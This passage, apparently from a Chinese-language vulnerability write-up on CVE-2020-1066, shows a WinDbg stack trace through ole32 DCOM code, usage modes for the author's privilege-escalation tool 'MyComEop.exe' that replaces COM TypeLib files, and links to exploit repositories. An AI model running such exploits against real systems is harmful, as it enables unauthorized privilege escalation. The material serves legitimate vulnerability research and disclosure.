[d:\\w7rtm\\com\\ole32\\com\\dcomrem\\channelb.cxx @ 1187] \n19 00000000`0288f2a0 000007fe`ff51a4f0 : 00000000`037da9c0 00000000`0361e890 00000000`037da9c0 00000000`00000178 : ole32!StubInvoke+0xdb [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\channelb.cxx @ 1396] \n1a 00000000`0288f350 000007fe`ff52d551 : 00000000`00000000 00000000`00000001 00000000`0376e9e0 00000000`03715ea0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\ctxchnl.cxx @ 1262] \n1b 00000000`0288f4e0 000007fe`ff66347e : 00000000`0361e890 00000000`00000000 00000000`03718760 00000000`00000000 : ole32!STAInvoke+0x91 [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\callctrl.cxx @ 1923] \n1c 00000000`0288f530 000007fe`ff66122b : 00000000`d0908070 00000000`0361e890 00000000`01d93e30 00000000`03718760 : ole32!AppInvoke+0x1aa [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\channelb.cxx @ 1081] \n1d 00000000`0288f5a0 000007fe`ff663542 : 00000000`037da930 00000000`00000400 00000000`00000000 00000000`01d98a30 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\channelb.cxx @ 1727] \n1e 00000000`0288f730 000007fe`ff52d42d : 00000000`03715ea0 00000000`00000000 00000000`0378f190 00000000`037da930 : ole32!ComInvoke+0xae [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\channelb.cxx @ 1469] \n1f 00000000`0288f760 000007fe`ff52d1d6 : 00000000`0361e890 00000000`037da938 00000000`00000400 00000000`00000000 : ole32!ThreadDispatch+0x29 [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\chancont.cxx @ 298] \n20 00000000`0288f790 00000000`77639bd1 : 00000000`00000000 00000000`00000000 00000000`00000000 b2698378`e8b9daaa : ole32!ThreadWndProc+0xaa [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\chancont.cxx @ 654] \n21 00000000`0288f810 00000000`776398da : 00000000`0288f970 000007fe`ff52d12c 000007fe`ff6c5780 00000000`006c4200 : USER32!UserCallWinProcCheckWow+0x1ad\n22 00000000`0288f8d0 000007fe`ff52d0ab : 00000000`000b0098 00000000`000b0098 000007fe`ff52d12c 00000000`00000000 : USER32!DispatchMessageWorker+0x3b5\n23 00000000`0288f950 000007fe`ff653e57 : 00000000`0361e890 00000000`00000000 00000000`0361e890 000007fe`ff513032 : ole32!CDllHost::STAWorkerLoop+0x68 [d:\\w7rtm\\com\\ole32\\com\\objact\\dllhost.cxx @ 957] \n24 00000000`0288f9b0 000007fe`ff500106 : 00000000`0361e890 00000000`036d6510 00000000`00000000 00000000`00000000 : ole32!CDllHost::WorkerThread+0xd7 [d:\\w7rtm\\com\\ole32\\com\\objact\\dllhost.cxx @ 834] \n25 00000000`0288f9f0 000007fe`ff500182 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThread::WorkerLoop+0x1e [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\threads.cxx @ 257] \n26 00000000`0288fa30 00000000`7773652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a [d:\\w7rtm\\com\\ole32\\com\\dcomrem\\threads.cxx @ 63] \n27 00000000`0288fa60 00000000`7786c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd\n28 00000000`0288fa90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21\n```\n我的漏洞利用工具测试方式如下,需要管理员运行\n```\n1.只适用Windows7系统直接运行,无参数,替换默认Typelib\n\nMyComEop.exe\n\n2.替换指定接口TypeLIb文件路径的Com组件TypeLIb,比如C:\\xxx.dll\n\nMyComEop.exe [u] [TypeLib_Path]\n\n3.替换指定接口IID的Com组件TypeLIb,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}\n\nMyComEop.exe [u] [IID_Interface]\n\n4.高级模式接口IID=[IID_Interface],接口名称=[InterfaceName],接口的TypeLib_GUID=[TypeLib_GUID_Interface],接口TypeLIb文件路径=[TypeLib_Path]\n\nMyComEop.exe [u] [IID_Interface] [InterfaceName] [TypeLib_GUID_Interface] [TypeLib_Path] [Disable_Redirection]\n\n5.不替换文件,仅测试指定接口IID的Com组件TypeLIb利用,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}\n\nMyComEop.exe [t] [IID_Interface]\n\n```\n#### 运行效果 ####\n\n以下是笔者exp运行的效果,如图:\n![点击看大图](https://ftp.bmp.ovh/imgs/2020/04/0675ebb200afb3a5.gif)\n\n#### 相关项目 ####\n[CVE-2020-0787-EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)\n\n[Windows CardSpace服务反编译工程](https://gitee.com/cbwang505/Windows_CardSpace_Service)\n\n[我的ole32逆向工程](https://gitee.com/cbwang505/MyOle32ReverseEngineering)\n\n[我的漏洞利用工具](https://gitee.com/cbwang505/TypeLibUnmarshaler)\n\n[符号链接工具](https://github.com/googleprojectzero/symboliclink-testing-tools)\n\n[CVE-2020-1066-EXP](https://gitee.com/cbwang505/CVE-2020-1066-EXP)\n\n#### 相关引用 ####\n\n[CVE-2020-1066](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1066)\n\n#### 参与贡献 ####\n\n作者来自ZheJiang Guoli Security Technology,邮箱cbwang505@hotmail.com"
  }
]